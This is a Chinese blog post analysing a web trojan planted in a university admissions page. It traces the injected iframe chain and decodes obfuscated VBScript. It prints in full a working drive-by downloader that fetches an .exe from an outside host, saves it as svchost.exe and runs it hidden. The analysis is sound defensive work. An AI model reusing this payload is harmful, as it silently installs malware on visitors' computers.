追踪木马实战：让木马无处躲藏！

最新推荐文章于 2024-09-21 11:30:16 发布

armos

最新推荐文章于 2024-09-21 11:30:16 发布

阅读量1.4k

点赞数

文章标签： iframe vbscript bbs function 数据库 qq

本文链接：https://blog.csdn.net/armos/article/details/2950406

版权

2007年1月17日星期三在郑州大学研究生院网站上发布的“2007年全国硕士研究生招生考试郑州大学考点考场安排查询系统”一文在数据库中被注入了网页木马，地址如下：
http--//gs.zzu.edu.cn/showNews.aspx?ArticleID=478

在数据库的正文字段中，被插入了以下iframe标记：
<IFRAME src=http://www.cclib.cn/wszl/index.htm

用户打开网页后，将激活这个链接，然后被iframe转向到以下地址：
<iframe src=http://huang245.808.nuno.cn/mm.htm

这是一段被URL编码的<SCRIPT>代码，被简化以后如下所示：
<SCRIPT>
var Words=" %3CSCRIPT language%3Dvbscript%3E%0D%0Aqq520154 %3D %22http%3A%2F%2Fhuang245%2E808%2Enuno%2Ecn%2F1%2Eexe%22%0D%0Ahu%3D%22梦%3Elmth%2F%3C 梦%3Etpircs%2F%3C 梦0%2C%22%22nepo%22%22%2CSBB%2CSBB%2C9hWmF etucexEllehS%2EehWmF 梦%29%22%22%22%22%2C5m% 。。。";
document.write(unescape(Words))
</SCRIPT>

利用URL解码工具将其解码以后就看到了Words串的真面目：
<SCRIPT language=vbscript>
qq520154 = "http://huang245.808.nuno.cn/1.exe"
hu="梦>lmth/< 梦>tpircs/< 梦0,""nepo"",SBB,SBB,9hWmF etucexEllehS.ehWmF 梦)"""",5m(tcejboetaerc.chWmF = ehWmF tes 梦esolc.ahWmF 梦2,9hWmF elifotevas.ahWmF 梦ydoBesnopser.dhWmF etirw.ahWmF 。。。"
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> "梦" then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(hu))
</SCRIPT>
<html>
<body>
<script type="text/jscript">
function init() {
document.write("<center><font color=red>请勿用做非法用途！
</font><center>");}

window.onload = init;
</script>

其中hu是被编码过的一段代码，qq520154是真正的.exe木马的下载地址，我们使用其下面的UnEncode(cc)函数解码以后得到hu的本来面目：
<html>
<script language="VBScript">
on error resume next
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
Set FmWhc = document.createElement(m1)
FmWhc.setAttribute m2, m3
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
FmWhi=m4
Set FmWhd = FmWhc.CreateObject(FmWhi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
FmWhf=seturlf&seturlg&seturlh&seturli
FmWhg=FmWhf
set FmWha = FmWhc.createobject(FmWhg,"")
FmWha.type = 1
FmWhh="GET"
FmWhd.Open FmWhh, qq520154, False
FmWhd.Send
FmWh9="svchost.exe"
set FmWhb = FmWhc.createobject("Scripting.FileSystemObject","")
set FmWhe = FmWhb.GetSpecialFolder(2)
FmWha.open
FmWh8="FmWha.BuildPath(FmWha,FmWh8)"
FmWh7="FmWhb.BuildPath(FmWhb,FmWh7)"
FmWh6="FmWhc.BuildPath(FmWhd,FmWh6)"
FmWh5="FmWhd.BuildPath(FmWhf,FmWh5)"
FmWh4="FmWhe.BuildPath(FmWhg,FmWh4)"
FmWh3="FmWhf.BuildPath(FmWhh,FmWh4)"
FmWh2="FmWhg.BuildPath(FmWhi,FmWh3)"
FmWh1="FmWhh.BuildPath(FmWhg,FmWh1)"
FmWh0="FmWhi.BuildPath(FmWhk,FmWh0)"
FmWh9= FmWhb.BuildPath(FmWhe,FmWh9)
FmWha.write FmWhd.responseBody
FmWha.savetofile FmWh9,2
FmWha.close
set FmWhe = FmWhc.createobject(m5,"")
FmWhe.ShellExecute FmWh9,BBS,BBS,"open",0
</script>
</html>

嗬嗬，这才是真正下载木马程序的代码呢。分析其执行流程，我们发现这段代码从字符串qq520154所指示的网址下载了一个名为“1.exe”的程序，至于这个程序是干嘛用的，我就不得而知了，除非将其反汇编分析，不过已经没有这个必要了，如果能够将一个程序植入别人的电脑，那么黑客还有什么不能做的呢？